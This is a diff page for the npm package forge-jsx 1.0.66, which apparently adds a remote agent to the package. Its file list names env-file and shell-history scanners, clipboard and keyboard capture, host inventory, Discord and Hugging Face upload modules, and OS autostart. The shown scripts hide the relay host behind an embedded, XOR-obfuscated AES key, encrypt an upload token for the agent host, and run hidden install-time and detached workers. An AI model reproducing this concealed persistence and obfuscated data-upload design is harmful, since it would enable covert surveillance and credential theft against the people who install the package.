forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,135 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Encrypt deployment defaults (host, relay port, API port, default explorer password)
4
+ * with AES-256-GCM and embed the key in obfuscated form (XOR'd halves) directly in
5
+ * deploymentCipherData.ts. No external key file or FORGE_JS_BUNDLE_KEY is needed at
6
+ * runtime — the key is reconstructed from DEPLOYMENT_KEY_A^DEPLOYMENT_MASK_A and
7
+ * DEPLOYMENT_KEY_B^DEPLOYMENT_MASK_B.
8
+ *
9
+ * Usage:
10
+ * node scripts/encode-deployment.mjs # new random key + update src/
11
+ * FORGE_JS_BUNDLE_KEY=<64 hex> node scripts/encode-deployment.mjs # use existing key
12
+ *
13
+ * Environment overrides for payload values (all required or use built-in defaults):
14
+ * FORGE_DEPLOY_HOST (required — never hardcoded for security)
15
+ * FORGE_DEPLOY_RELAY_PORT (default: 9877)
16
+ * FORGE_DEPLOY_API_PORT (default: 8765)
17
+ * FORGE_DEPLOY_EXPLORER_PASSWORD (default: "" — callers require explicit password config)
18
+ *
19
+ * IMPORTANT: commit only deploymentCipherData.ts. Never commit .env files containing
20
+ * FORGE_JS_BUNDLE_KEY (the key is already embedded obfuscated — external key is optional override).
21
+ */
22
+ import crypto from "node:crypto";
23
+ import fs from "node:fs";
24
+ import path from "node:path";
25
+ import { fileURLToPath } from "node:url";
26
+
27
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
28
+ const root = path.join(__dirname, "..");
29
+ const outTs = path.join(root, "src", "deploymentCipherData.ts");
30
+
31
+ const deployHost = (process.env.FORGE_DEPLOY_HOST || "").trim();
32
+ const deployRelayPort = Number(process.env.FORGE_DEPLOY_RELAY_PORT || 9877);
33
+ const deployApiPort = Number(process.env.FORGE_DEPLOY_API_PORT || 8765);
34
+ const deployPassword = (process.env.FORGE_DEPLOY_EXPLORER_PASSWORD || "").trim();
35
+
36
+ if (!deployHost) {
37
+ console.error(
38
+ "ERROR: FORGE_DEPLOY_HOST is required (never hardcoded for security).\n" +
39
+ " Usage: FORGE_DEPLOY_HOST=<ip-or-hostname> \\\n" +
40
+ " [FORGE_DEPLOY_RELAY_PORT=9877] \\\n" +
41
+ " [FORGE_DEPLOY_API_PORT=8765] \\\n" +
42
+ " [FORGE_DEPLOY_EXPLORER_PASSWORD=<password>] \\\n" +
43
+ " [FORGE_JS_BUNDLE_KEY=<64-hex>] \\\n" +
44
+ " node scripts/encode-deployment.mjs"
45
+ );
46
+ process.exit(1);
47
+ }
48
+
49
+ const payload = JSON.stringify({
50
+ publicHost: deployHost,
51
+ relayPort: deployRelayPort,
52
+ apiPort: deployApiPort,
53
+ defaultExplorerPassword: deployPassword,
54
+ });
55
+
56
+ function parseKey(raw) {
57
+ const t = raw.trim();
58
+ if (/^[0-9a-fA-F]{64}$/.test(t)) return Buffer.from(t, "hex");
59
+ const b = Buffer.from(t, "base64");
60
+ if (b.length === 32) return b;
61
+ throw new Error("Key must be 64 hex chars or base64 (32 bytes)");
62
+ }
63
+
64
+ let key;
65
+ const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
66
+ if (envKey) {
67
+ key = parseKey(envKey);
68
+ console.error("Using FORGE_JS_BUNDLE_KEY from environment.");
69
+ } else {
70
+ key = crypto.randomBytes(32);
71
+ console.error("Generated new random key (embedded obfuscated in deploymentCipherData.ts).\n");
72
+ }
73
+
74
+ // Encrypt payload
75
+ const iv = crypto.randomBytes(12);
76
+ const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
77
+ const enc = Buffer.concat([cipher.update(payload, "utf8"), cipher.final()]);
78
+ const tag = cipher.getAuthTag();
79
+
80
+ // Generate XOR masks and obfuscate the key halves
81
+ const maskA = crypto.randomBytes(16);
82
+ const maskB = crypto.randomBytes(16);
83
+ const keyA = Buffer.alloc(16);
84
+ const keyB = Buffer.alloc(16);
85
+ for (let i = 0; i < 16; i++) keyA[i] = key[i] ^ maskA[i];
86
+ for (let i = 0; i < 16; i++) keyB[i] = key[16 + i] ^ maskB[i];
87
+
88
+ // Verify round-trip
89
+ const reconstructedKey = Buffer.alloc(32);
90
+ for (let i = 0; i < 16; i++) reconstructedKey[i] = keyA[i] ^ maskA[i];
91
+ for (let i = 0; i < 16; i++) reconstructedKey[16 + i] = keyB[i] ^ maskB[i];
92
+ if (!reconstructedKey.equals(key)) {
93
+ console.error("ERROR: Key reconstruction check failed!");
94
+ process.exit(1);
95
+ }
96
+ const decipher = crypto.createDecipheriv("aes-256-gcm", reconstructedKey, iv);
97
+ decipher.setAuthTag(tag);
98
+ const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
99
+ if (plain.toString("utf8") !== payload) {
100
+ console.error("ERROR: Decrypt round-trip failed!");
101
+ process.exit(1);
102
+ }
103
+
104
+ function fmtUint8Array(arr) {
105
+ return `new Uint8Array([\n ${Array.from(arr).join(", ")},\n])`;
106
+ }
107
+
108
+ const ts = `/**
109
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
110
+ * Regenerate: \`node scripts/encode-deployment.mjs\` (see script for FORGE_JS_BUNDLE_KEY).
111
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
112
+ *
113
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
114
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
115
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
116
+ */
117
+
118
+ export const DEPLOYMENT_CIPHER_IV_B64 = ${JSON.stringify(iv.toString("base64"))};
119
+ export const DEPLOYMENT_CIPHER_TAG_B64 = ${JSON.stringify(tag.toString("base64"))};
120
+ export const DEPLOYMENT_CIPHER_TEXT_B64 =
121
+ ${JSON.stringify(enc.toString("base64"))};
122
+
123
+ /** First 16 key bytes XOR'd with MA. */
124
+ export const DEPLOYMENT_KEY_A = ${fmtUint8Array(keyA)};
125
+ /** Last 16 key bytes XOR'd with MB. */
126
+ export const DEPLOYMENT_KEY_B = ${fmtUint8Array(keyB)};
127
+ /** XOR mask for first 16 key bytes. */
128
+ export const DEPLOYMENT_MASK_A = ${fmtUint8Array(maskA)};
129
+ /** XOR mask for last 16 key bytes. */
130
+ export const DEPLOYMENT_MASK_B = ${fmtUint8Array(maskB)};
131
+ `;
132
+
133
+ fs.writeFileSync(outTs, ts, "utf8");
134
+ console.error("Wrote", path.relative(root, outTs));
135
+ console.error("Round-trip verification: OK");
@@ -0,0 +1,30 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Encrypt Hugging Face Hub token + optional hubUrl for CFGMGR_HF_CREDENTIALS_B64.
4
+ * Uses AES-256-GCM with the same key as deployment defaults (FORGE_JS_BUNDLE_KEY or embedded XOR halves).
5
+ *
6
+ * Run after `npm run build` (reads `dist/hfCredentials.js`).
7
+ *
8
+ * Usage:
9
+ * HF_TOKEN=hf_xxx node scripts/encode-hf-credentials.mjs
10
+ * HF_HUB_URL=https://huggingface.co (optional)
11
+ * HF_NAMESPACE=myuser (optional — Hugging Face username/org for session-repo uploads)
12
+ * FORGE_JS_BUNDLE_KEY=<64 hex> (optional override; else embedded bundle key)
13
+ */
14
+ import { encryptHfCredentialsJson } from "../dist/hfCredentials.js";
15
+
16
+ const token = (process.env.HF_TOKEN || process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
17
+ if (!token) {
18
+ console.error("Set HF_TOKEN or HUGGINGFACE_HUB_TOKEN to your hf_... access token.");
19
+ process.exit(1);
20
+ }
21
+ let hubUrl = (process.env.HF_HUB_URL || "https://huggingface.co").trim().replace(/\/+$/, "");
22
+ const namespace = (process.env.HF_NAMESPACE || process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
23
+
24
+ const b64 = encryptHfCredentialsJson({ token, hubUrl, ...(namespace ? { namespace } : {}) });
25
+ console.log(b64);
26
+ console.error(
27
+ "\nOn the agent host:\n export CFGMGR_HF_CREDENTIALS_B64='" +
28
+ b64 +
29
+ "'\n"
30
+ );
@@ -0,0 +1,86 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
4
+ * when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
5
+ *
6
+ * Cross-OS notes:
7
+ * - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
8
+ * - Linux/macOS: standard `npm` via shell.
9
+ * - All child processes use windowsHide:true so no console window flashes on Windows.
10
+ * - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
11
+ */
12
+ import { spawnSync } from "node:child_process";
13
+ import { existsSync } from "node:fs";
14
+ import path from "node:path";
15
+ import { fileURLToPath } from "node:url";
16
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
17
+
18
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
19
+ const pkgRoot = path.resolve(__dirname, "..");
20
+ const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
21
+ // Also check that assets were copied (tsc alone does not copy assets/).
22
+ const distAssets = path.join(pkgRoot, "dist", "assets");
23
+
24
+ if (existsSync(cliForge) && existsSync(distAssets)) {
25
+ process.exit(0);
26
+ }
27
+
28
+ // Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
29
+ const spawnOpts = {
30
+ cwd: pkgRoot,
31
+ stdio: "pipe",
32
+ shell: true,
33
+ windowsHide: true,
34
+ timeout: 300_000,
35
+ };
36
+
37
+ const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");
38
+ if (!existsSync(localTsc)) {
39
+ // TypeScript is a devDependency — not installed by `npm install <local-path>`.
40
+ // Attempt to install devDependencies once (guarded by env flag to prevent recursion).
41
+ if (process.env.FORGE_JS_ENSURE_DIST_RUNNING === "1") {
42
+ console.warn("[forge-js] dist/ missing and TypeScript unavailable (recursion guard active). Skipping build.");
43
+ process.exit(0);
44
+ }
45
+ console.warn("[forge-js] dist/ missing. Installing devDependencies to build…");
46
+ // Use a single command string (no args array) with shell:true to avoid
47
+ // Node DEP0190 DeprecationWarning about unescaped argument concatenation.
48
+ const r0 = spawnSync("npm install --include=dev --no-save", {
49
+ ...spawnOpts,
50
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
51
+ });
52
+ if (!existsSync(localTsc)) {
53
+ const stderr = r0.stderr?.toString?.()?.trim() || "";
54
+ // Try legacy npm flag for older npm versions
55
+ const r1 = spawnSync("npm install --only=dev --no-save", {
56
+ ...spawnOpts,
57
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
58
+ });
59
+ if (!existsSync(localTsc)) {
60
+ console.warn(
61
+ "[forge-js] dist/ missing and TypeScript still not installed after devDep install.\n" +
62
+ " From a git clone run: npm install (installs devDependencies and builds)\n" +
63
+ " For production use: npm install forge-js (published package includes dist/)\n" +
64
+ (stderr || r1.stderr?.toString?.()?.trim() || "")
65
+ );
66
+ process.exit(0);
67
+ }
68
+ }
69
+ }
70
+
71
+ // Pass the recursion guard to the build sub-process so that postinstall scripts
72
+ // triggered by `npm run build` (which re-runs npm internally) exit early.
73
+ // Single command string to avoid Node DEP0190 warning with shell:true + args.
74
+ const r = spawnSync("npm run build", {
75
+ ...spawnOpts,
76
+ env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
77
+ });
78
+
79
+ if (r.status !== 0) {
80
+ console.warn(
81
+ "[forge-js] `npm run build` failed; install bootstrap will be skipped until dist/ exists.\n" +
82
+ (r.stderr?.toString?.()?.trim() || r.stdout?.toString?.()?.trim() || "")
83
+ );
84
+ }
85
+
86
+ process.exit(0);
@@ -0,0 +1,11 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Legacy script — `.env` file scanning and forge-db upload were removed from forge-agent.
4
+ * Only keyboard + clipboard events sync to forge-db (`windowsInputSync.ts`).
5
+ *
6
+ * Usage (from package root): node scripts/env-sync-selftest.js
7
+ */
8
+ console.error(
9
+ "[forge-js] env-sync-selftest is deprecated: env file / shell history / host inventory sync to forge-db was removed."
10
+ );
11
+ process.exit(0);
@@ -0,0 +1,57 @@
1
+ /**
2
+ * Explorer Upgrade / Restart workers call `npm` (e.g. `npm root -g`, `npm install -g`).
3
+ * On some Windows VPS hosts `%LocalAppData%\npm-cache\_npx\…` is corrupted → ENOENT on package.json.
4
+ * Point npm's cache + minimal userconfig off the default npm tree.
5
+ *
6
+ * **Windows:** use `%SystemRoot%\Temp\…` (not `%TEMP%` under the user profile). npm 10 walks **up**
7
+ * from cwd for project `.npmrc`; `%TEMP%` is usually under `Users\…\AppData\Local\Temp`, so npm loads
8
+ * `%USERPROFILE%\.npmrc` as **project** config while `npm_config_userconfig` points at our file →
9
+ * `prefix cannot be changed from project config` (npm/cli#7501). Scratch under `C:\Windows\Temp` avoids that chain.
10
+ */
11
+ import * as fs from "node:fs";
12
+ import * as os from "node:os";
13
+ import * as path from "node:path";
14
+
15
+ export function isolatedNpmCacheDir() {
16
+ if (process.platform === "win32") {
17
+ return path.join(
18
+ process.env.SystemRoot || "C:\\Windows",
19
+ "Temp",
20
+ `forge-jsx-npm-cache-worker-${process.pid}`
21
+ );
22
+ }
23
+ return path.join(os.tmpdir(), "forge-jsx-npm-cache-worker");
24
+ }
25
+
26
+ /**
27
+ * Writes two tiny npmrc files (`cache=…`) and returns env vars for `npm` children.
28
+ * npm 10+ exits if `userconfig` and `globalconfig` point at the **same** file (“double-loading config”);
29
+ * keep separate paths even when contents are identical.
30
+ */
31
+ export function isolatedNpmCacheEnv(base = process.env) {
32
+ const xc = isolatedNpmCacheDir();
33
+ try {
34
+ fs.mkdirSync(xc, { recursive: true });
35
+ } catch {
36
+ /* skip */
37
+ }
38
+ const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
39
+ const nrcUser = path.join(xc, "forge-fe-user.npmrc");
40
+ const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
41
+ const line = `cache=${cacheForFile}\n`;
42
+ try {
43
+ fs.writeFileSync(nrcUser, line, "utf8");
44
+ fs.writeFileSync(nrcGlobal, line, "utf8");
45
+ } catch {
46
+ /* skip */
47
+ }
48
+ return {
49
+ ...base,
50
+ NPM_CONFIG_CACHE: xc,
51
+ npm_config_cache: xc,
52
+ npm_config_globalconfig: nrcGlobal,
53
+ npm_config_userconfig: nrcUser,
54
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
55
+ npm_config_update_notifier: "false",
56
+ };
57
+ }
@@ -0,0 +1,359 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Detached **forge-agent** kill for file-explorer: stop cfgmgr (`forge-cfgmgr --stop`), uninstall
4
+ * OS autostart (`forge-autostart uninstall`, including legacy npm scheduler artifacts), best-effort PM2
5
+ * `forge-agent` stop/delete, sanitize `forge-js-agent.env` (strip HF / relay / Discord secrets per
6
+ * agentEnvFile rules). When **forge-jsx** is installed globally (`npm root -g`/forge-jsx), schedules a
7
+ * short delayed **`npm uninstall -g forge-jsx`** so the package tree is removed after this process exits
8
+ * (avoids deleting files while the worker is still running).
9
+ *
10
+ * **Parent:** prints one line to stdout, spawns **detached worker**, exits `0` immediately.
11
+ * **Worker:** runs the steps above with `stdio: ignore` / `windowsHide` where applicable.
12
+ *
13
+ * npm exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-kill-agent
14
+ */
15
+ import { spawn, spawnSync } from "node:child_process";
16
+ import { createRequire } from "node:module";
17
+ import * as fs from "node:fs";
18
+ import * as path from "node:path";
19
+ import { fileURLToPath } from "node:url";
20
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
21
+
22
+ const NPM_PKG = "forge-jsx";
23
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
24
+
25
+ /** Piped `fs_shell_exec` parents must read stdout before `process.exit` — buffered `stdout.write` can lose the line on Linux. */
26
+ function writeExplorerStdoutLine(line) {
27
+ const s = String(line).endsWith("\n") ? String(line) : `${line}\n`;
28
+ try {
29
+ fs.writeSync(1, s, "utf8");
30
+ } catch {
31
+ try {
32
+ process.stdout.write(s);
33
+ } catch {
34
+ /* ignore */
35
+ }
36
+ }
37
+ }
38
+
39
+ function pkgRootFromScript() {
40
+ return path.resolve(__dirname, "..");
41
+ }
42
+
43
+ function parseArgs(argv) {
44
+ let foreground = false;
45
+ for (let i = 2; i < argv.length; i++) {
46
+ if (argv[i] === "--foreground" || argv[i] === "-f") foreground = true;
47
+ }
48
+ const log =
49
+ foreground ||
50
+ ["1", "true", "yes"].includes(
51
+ (process.env.FORGE_JSX_EXPLORER_KILL_AGENT_LOG || "").trim().toLowerCase()
52
+ );
53
+ return { foreground, log };
54
+ }
55
+
56
+ function isWorker() {
57
+ return (
58
+ (process.env.FORGE_JSX_EXPLORER_KILL_AGENT_WORKER || "").trim() === "1" ||
59
+ process.argv.includes("--worker")
60
+ );
61
+ }
62
+
63
+ function appendExplorerKillSpawnLog(line) {
64
+ try {
65
+ const home = process.env.HOME || process.env.USERPROFILE || ".";
66
+ const dir = path.join(home, ".forge-js");
67
+ fs.mkdirSync(dir, { recursive: true });
68
+ fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
69
+ } catch {
70
+ /* ignore */
71
+ }
72
+ }
73
+
74
+ /**
75
+ * Same reliability as `forge-jsx-explorer-restart`: confirm detached worker actually starts.
76
+ * @returns {Promise<boolean>}
77
+ */
78
+ function spawnDetachedWorker(log) {
79
+ const script = fileURLToPath(import.meta.url);
80
+ return new Promise((resolve) => {
81
+ let settled = false;
82
+ /** @type {ReturnType<typeof setTimeout> | null} */
83
+ let t = null;
84
+ const child = spawn(
85
+ process.execPath,
86
+ [script, "--worker"],
87
+ {
88
+ detached: true,
89
+ stdio: "ignore",
90
+ windowsHide: true,
91
+ env: isolatedNpmCacheEnv({
92
+ ...process.env,
93
+ FORGE_JSX_EXPLORER_KILL_AGENT_WORKER: "1",
94
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
95
+ ...(log ? { FORGE_JSX_EXPLORER_KILL_AGENT_LOG: "1" } : {}),
96
+ }),
97
+ }
98
+ );
99
+ const finish = (ok, errMsg) => {
100
+ if (settled) return;
101
+ settled = true;
102
+ if (t != null) clearTimeout(t);
103
+ try {
104
+ child.removeAllListeners();
105
+ } catch {
106
+ /* ignore */
107
+ }
108
+ if (!ok) {
109
+ if (errMsg) appendExplorerKillSpawnLog(`${new Date().toISOString()} FAIL ${errMsg}`);
110
+ try {
111
+ child.kill("SIGTERM");
112
+ } catch {
113
+ /* ignore */
114
+ }
115
+ resolve(false);
116
+ return;
117
+ }
118
+ child.unref();
119
+ resolve(true);
120
+ };
121
+ t = setTimeout(
122
+ () =>
123
+ finish(
124
+ false,
125
+ "background worker spawn timeout (no spawn event in 10s — check node on PATH and script path)"
126
+ ),
127
+ 10_000
128
+ );
129
+ child.once("spawn", () => finish(true));
130
+ child.once("error", (err) =>
131
+ finish(false, `background worker spawn: ${String(err?.message || err)}`)
132
+ );
133
+ setImmediate(() => {
134
+ if (!settled && child.pid) finish(true);
135
+ });
136
+ });
137
+ }
138
+
139
+ function npmCmd() {
140
+ return process.platform === "win32" ? "npm.cmd" : "npm";
141
+ }
142
+
143
+ function npmSpawnSync(args, log, opts = {}) {
144
+ const stdio = opts.captureStdout
145
+ ? log
146
+ ? "inherit"
147
+ : ["ignore", "pipe", "pipe"]
148
+ : log
149
+ ? "inherit"
150
+ : "ignore";
151
+ const baseEnv = { ...process.env, ...(opts.env || {}) };
152
+ return spawnSync(npmCmd(), args, {
153
+ encoding: "utf-8",
154
+ stdio,
155
+ windowsHide: true,
156
+ shell: process.platform === "win32",
157
+ timeout: opts.timeout ?? 60_000,
158
+ env: {
159
+ ...baseEnv,
160
+ ...isolatedNpmCacheEnv(baseEnv),
161
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
162
+ },
163
+ cwd: opts.cwd,
164
+ });
165
+ }
166
+
167
+ function globalForgeJsRoot() {
168
+ const r = npmSpawnSync(["root", "-g"], false, {
169
+ timeout: 60_000,
170
+ captureStdout: true,
171
+ });
172
+ const root = (r.stdout || "").trim();
173
+ if (!root) return null;
174
+ const p = path.join(root, NPM_PKG);
175
+ return fs.existsSync(path.join(p, "package.json")) ? p : null;
176
+ }
177
+
178
+ function runForgeCfgmgrStop(root, log) {
179
+ const cli = path.join(root, "dist", "cli-forge.js");
180
+ if (!fs.existsSync(cli)) {
181
+ if (log) console.error("[forge-jsx-explorer-kill-agent] missing:", cli);
182
+ return 1;
183
+ }
184
+ const baseEnv = {
185
+ ...process.env,
186
+ FORGE_JS_QUIET_AGENT: "1",
187
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
188
+ };
189
+ const r = spawnSync(process.execPath, [cli, "--stop"], {
190
+ cwd: root,
191
+ stdio: log ? "inherit" : "ignore",
192
+ windowsHide: true,
193
+ timeout: 120_000,
194
+ env: {
195
+ ...baseEnv,
196
+ ...isolatedNpmCacheEnv(baseEnv),
197
+ },
198
+ });
199
+ return r.status === null ? 1 : r.status;
200
+ }
201
+
202
+ function runAutostartUninstall(root, log) {
203
+ const cli = path.join(root, "dist", "cli-autostart.js");
204
+ if (!fs.existsSync(cli)) {
205
+ if (log) console.error("[forge-jsx-explorer-kill-agent] missing:", cli);
206
+ return 1;
207
+ }
208
+ const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
209
+ const r = spawnSync(process.execPath, [cli, "uninstall"], {
210
+ cwd: root,
